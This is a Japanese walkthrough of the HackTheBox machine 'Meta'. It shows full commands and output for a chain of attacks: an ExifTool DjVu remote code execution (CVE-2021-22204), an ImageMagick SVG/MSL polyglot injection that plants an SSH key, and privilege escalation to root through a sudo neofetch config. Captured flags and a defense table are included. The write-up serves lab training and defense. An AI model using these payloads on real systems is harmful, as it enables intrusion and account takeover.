HackTheBox: Meta — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80、80はartcorp.htbへリダイレクト
→
22/80、80はartcorp.htbへリダイレクト
wfuzz Hostヘッダ
dev01.artcorp.htb 発見
→
dev01.artcorp.htb 発見
ExifTool DjVu RCE
CVE-2021-22204、/metaview/
→
CVE-2021-22204、/metaview/
mogrify SVG/MSL注入
CVE-2020-29599、cronハイジャック
→
CVE-2020-29599、cronハイジャック
thomas SSH
user.txt ✓
→
user.txt ✓
sudo neofetch ""
リテラル2文字クォートの罠
→
リテラル2文字クォートの罠
GTFOBins config注入
XDG_CONFIG_HOME env_keep
→
XDG_CONFIG_HOME env_keep
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
nmap バージョン・スクリプトスキャン
BASH
nmap -sV -sC -oN nmap/initial.txt 10.129.51.81
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 80/tcp open http Apache httpd |_http-title: Did not follow redirect to http://artcorp.htb |_http-server-header: Apache Service Info: OS: Linux
ℹ️
ポート80は
artcorp.htb への301リダイレクトのみ。この時点でSSHホストキー指紋を
確認すると、公開されている0xdf氏のwriteup(元IP 10.10.11.140)と完全に一致しており、
このHTBマシンは静的なイメージ(埋め込み秘密情報が固定)であることが分かる。
PHASE 2
vhost発見 & MetaViewアプリ調査
/etc/hosts登録 & artcorp.htb確認
BASH
echo "10.129.51.81 artcorp.htb dev01.artcorp.htb" >> /etc/hosts curl -s http://artcorp.htb/ | head -5
RESULT
<!DOCTYPE html> <html lang="en"> ...ArtCorp のグラフィックソフト会社紹介ページ(静的サイト)...
wfuzz による Host ヘッダ vhost ファジング
BASH
wfuzz -u http://10.129.51.81 -H "Host: FUZZ.artcorp.htb" \ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hh 0
RESULT
ID Response Lines Word Chars Payload
===================================================================
000001492: 200 9 L 24 W 247 Ch "dev01"
✅
dev01.artcorp.htb を発見。「applications in development」ページから
MetaView(/metaview/)というアプリへのリンクがある。
MetaView アプリの確認
BASH
curl -s http://dev01.artcorp.htb/metaview/index.php
RESULT
<h2>MetaView</h2> <p>Upload your image to display related metadata.</p> <form action="index.php" method="post" enctype="multipart/form-data"> <input type="file" name="imageUpload" ...> <button type="submit" name="submit">Upload</button> </form>
ℹ️
アップロードされた画像を ExifTool でメタデータ表示するだけのシンプルな PHP アプリ
(
ExifToolWrapper.php)。フォームフィールド名は imageUpload / submit。
PHASE 3
CVE-2021-22204 (ExifTool DjVu) → RCE (www-data)
依存ツールの準備
BASH
apt-get install -y djvulibre-bin # djvumake / bzz / csepdjvu searchsploit -m linux/local/50911.py # CVE-2021-22204 PoC (UNICORD)
ℹ️
脆弱性: DjVu ファイルの ANT チャンクに埋め込まれた Perl 文字列展開
\c${...} が ExifTool のメタデータ解析時に無条件で評価される
(Image::ExifTool::DjVu.pm のパース処理そのものに存在する欠陥)。
DjVu ペイロードを仕込んだ JPEG の作成
BASH
# payload: (metadata "\c${system('<cmd>')};")
echo -n '(metadata "\c${system('"'"'id'"'"')};")' > payload
bzz payload payload.bzz
djvumake exploit.djvu INFO=1,1 BGjp=/dev/null ANTz=payload.bzz
exiftool -config exiftool.config "-HasselbladExif<=exploit.djvu" image.jpg \
-overwrite_original_in_place -q
⚠️
system('cmd') は戻り値(終了コード)しか返さないため、コマンド出力そのものは
HTTPレスポンスに載らない(blind RCE)。かつ cmd 自体に単一引用符が含まれると
Perl の system('{cmd}') 文字列リテラルが壊れるため、実行したい内容は
base64化して echo <b64>|base64 -d|bash の形にラップし、単一引用符を
一切含まない文字列だけを埋め込む必要がある。
アップロードして RCE を確認
BASH
# cmd = "id > /var/www/dev01.artcorp.htb/metaview/uploads/pentest_out.txt 2>&1" curl -s -X POST http://dev01.artcorp.htb/metaview/index.php \ -F "imageUpload=@image.jpg" -F "submit=Upload" curl -s http://dev01.artcorp.htb/metaview/uploads/pentest_out.txt
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅
RCE成功!
metaview/uploads/ が Web公開かつ www-data 書き込み可能な
ことを利用し、コマンド出力をファイルへリダイレクトして HTTP GET で回収する
(リバースシェル不要、以降の全コマンドもこの方式で実行)。
PHASE 4
CVE-2020-29599 (mogrify SVG/MSLポリグロット) → thomas → user.txt
cron ジョブの発見と convert_images ディレクトリの権限
NOTE
公開writeupの知見: /usr/local/bin/convert_images.sh が root cron で毎分 thomas(uid 1000)権限で実行される: cd /var/www/dev01.artcorp.htb/convert_images/ && mogrify -format png *.* 2>/dev/null
BASH
# RCE経由 ls -la /var/www/dev01.artcorp.htb/convert_images/
RESULT
drwxrwxr-x 2 root www-data 4096 convert_images/
ℹ️
www-data グループ書き込み可能。ここに ImageMagick の脆弱性を突くファイルを置けば、
次回 cron 実行時に thomas 権限のコードが実行される。
SVG/MSL ポリグロットの作成
BASH
# SSH公開鍵を生成 ssh-keygen -t ed25519 -f thomas_key -N "" PUBKEY=$(cat thomas_key.pub)
PYTHON (mog-shell.svg 構造)
# authenticate属性のバックティック内でコマンド注入 (CVE-2020-29599)
# xlink:href="msl:mog-shell.svg" で自分自身を参照させるのがポイント
CMD = f"echo {PUBKEY} >> /home/thomas/.ssh/authorized_keys"
B64 = base64(CMD)
svg = f'''
<image authenticate='ff" `echo "{B64}" | base64 -d | bash`;"'>
<read filename="pdf:/etc/passwd"/>
<get width="base-width" height="base-height"/>
<resize geometry="400x400"/>
<write filename="test.png"/>
<svg width="700" height="700" xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="msl:mog-shell.svg" height="100" width="100"/>
</svg>
</image>
'''
⚠️
ボックス既存の罠: このマシンの
authorized_keys には元々
root@meta という別の鍵が1行存在する。>(上書き)ではなく
>>(追記)を使わないと既存の鍵を壊してしまう。
配置してcron実行を待つ
BASH
# RCE経由でconvert_images/へ配置 (Phase3のRCE手法を再利用) echo <svg_b64> | base64 -d > /var/www/dev01.artcorp.htb/convert_images/mog-shell.svg # 約60秒待ってSSH確認 ssh -i thomas_key thomas@10.129.51.81 "id; cat user.txt"
RESULT
uid=1000(thomas) gid=1000(thomas) groups=1000(thomas)
58432f1ad863c8602fc0b4c2f6c314fb
user.txt — thomas
58432f1ad863c8602fc0b4c2f6c314fb
PHASE 5
権限昇格の下調べ — sudo -l
sudo権限確認
BASH
ssh -i thomas_key thomas@10.129.51.81 "sudo -l"
RESULT
Matching Defaults entries for thomas on meta:
env_reset, mail_badpass, secure_path=..., env_keep+=XDG_CONFIG_HOME
User thomas may run the following commands on meta:
(root) NOPASSWD: /usr/bin/neofetch \"\"
🚨
env_keep+=XDG_CONFIG_HOME が設定されているため、sudo実行時もこの環境変数が
保持される。neofetchの設定ファイルパスをこの変数で操作できることが GTFOBins 攻撃の鍵。
重要な落とし穴の発見 — \”\” はリテラル2文字
BASH
# 空文字列引数を試す (失敗) sudo -n /usr/bin/neofetch "" 2>&1
RESULT
sudo: a password is required
BASH
# リテラルなダブルクォート2文字を1つの引数として渡す (成功) sudo -n /usr/bin/neofetch '""' 2>&1
RESULT
(neofetch が root として正常実行される — パスワード不要)
⚠️
実機検証で発見した罠: sudoers ファイルの
/usr/bin/neofetch \"\" という
記法は、「引数無し」でも「空文字列引数」でもなく、リテラルな2文字のダブルクォート文字列
"" そのものを1個の引数として渡すことを要求している。空文字列を渡すと
NOPASSWDルールに一致せず通常のパスワード認証にフォールバックしてしまう。
PHASE 6
GTFOBins neofetch config注入 → root.txt
neofetch config ファイルの場所
NOTE
neofetch は起動時に以下の優先順位で config ファイルを探し、bash スクリプトとして source する:
1. --config で指定されたパス (今回のsudoルールでは指定不可)
2. ${XDG_CONFIG_HOME}/neofetch/config.conf
3. ${XDG_CONFIG_HOME}/neofetch/config
4. 上記が無ければデフォルト設定を新規作成
env_keep+=XDG_CONFIG_HOME により、thomas が sudo 実行時に設定した XDG_CONFIG_HOME が
root権限のneofetchプロセスにもそのまま引き継がれる。
config へのコマンド注入 & 実行
BASH
ssh -i thomas_key thomas@10.129.51.81 \ "mkdir -p ~/.config/neofetch && \ echo 'cat /root/root.txt' > ~/.config/neofetch/config.conf && \ XDG_CONFIG_HOME=\$HOME/.config sudo -n /usr/bin/neofetch '\"\"'"
RESULT
b5bb323caca37b2d4194381f332197a5
_,met$$$$$gg. root@meta
,g$$$$$$$$$$$$$$$P. ---------
,g$$P" """Y$$.". OS: Debian GNU/Linux 10 (buster) x86_64
...(neofetchのシステム情報バナーが続く)...
✅
成功! neofetchはconfigファイルをbashスクリプトとしてsourceするため、
cat /root/root.txt の行がroot権限でそのまま実行され、通常のneofetchバナー出力の
直前にフラグが出力される。GTFOBinsの定番手法(exec /bin/shで対話シェルを奪う方式)
と違い、コマンドを直接configに書くだけで非対話ワンショット実行できるのが実用上のポイント。
root.txt — root@meta
b5bb323caca37b2d4194381f332197a5
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — thomas@meta
58432f1ad863c8602fc0b4c2f6c314fb
root.txt — root@meta
b5bb323caca37b2d4194381f332197a5
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| CVE-2021-22204 | ExifTool 7.44-12.23 (DjVu パーサ) | リモートコード実行 (www-data) | Critical | DjVu ANTチャンクのPerl文字列展開 \c${…} を悪用したJPEG偽装ファイルをMetaViewへアップロード |
| CVE-2020-29599 | ImageMagick 7.0.10-36 (mogrify) | コマンドインジェクション (thomasへの権限昇格) | Critical | SVG/MSLポリグロットのauthenticate属性バックティック注入。書込可能ディレクトリ上のcron(mogrify)をハイジャック |
| sudoers引数解釈の罠 | /usr/bin/neofetch (sudoers設定) | 意図しない権限昇格経路の実質的野放し | High | \”\” がリテラル2文字を要求する仕様上の落とし穴。env_keep+XDG_CONFIG_HOMEと組み合わせGTFOBinsでroot |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap バージョンスキャン | 22/80、artcorp.htbへのリダイレクト |
| 2 | vhost発見 | wfuzz Hostヘッダファジング | dev01.artcorp.htb、/metaview/ アプリ発見 |
| 3 | ExifTool RCE | CVE-2021-22204 (DjVu偽装JPEG) | www-data RCE (blind、uploads/経由で出力回収) |
| 4 | mogrify注入 | CVE-2020-29599 (SVG/MSLポリグロット) | user.txt(thomas SSH確立) |
| 5 | 権限調査 | sudo -l + 引数解釈の検証 | neofetch NOPASSWDルールの正しい呼び出し方を特定 |
| 6 | GTFOBins | neofetch config注入 + env_keep | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| ExifTool 7.44-12.23 に既知のDjVu RCE脆弱性が存在 | ExifTool 12.24以降へ更新する。信頼できないユーザーがアップロードした画像をExifToolで直接処理しない、サンドボックス化する。 |
| www-dataがcronの入力元ディレクトリ(convert_images/)へ書き込み可能 | Webアプリの実行ユーザーとcronが処理する入力ディレクトリの書き込み権限を分離する。ImageMagickをpolicy.xmlでMSL/SVGコーダーを無効化するなど制限する。 |
| ImageMagick 7.0.10-36 に既知のSVG/MSLポリグロットコマンドインジェクションが存在 | ImageMagick 7.0.10-37以降へ更新する。/etc/ImageMagick-6/policy.xml でMSL/SVG/EPHEMERALコーダーを disable=”true” に設定する。 |
| sudoersの \”\” 記法がリテラル文字列を要求する紛らわしい仕様 | sudoersルールは可能な限りワイルドカードや引数無し(引数を許可しない)形にし、意図と実際の一致条件にズレが無いか visudo -c や実機でのテストで確認する。 |
| env_keep+=XDG_CONFIG_HOME によりsudo実行時に環境変数が保持される | sudoersのenv_keepは必要最小限に絞る。設定ファイルパスを外部から操作できる環境変数は特に慎重に扱う。 |

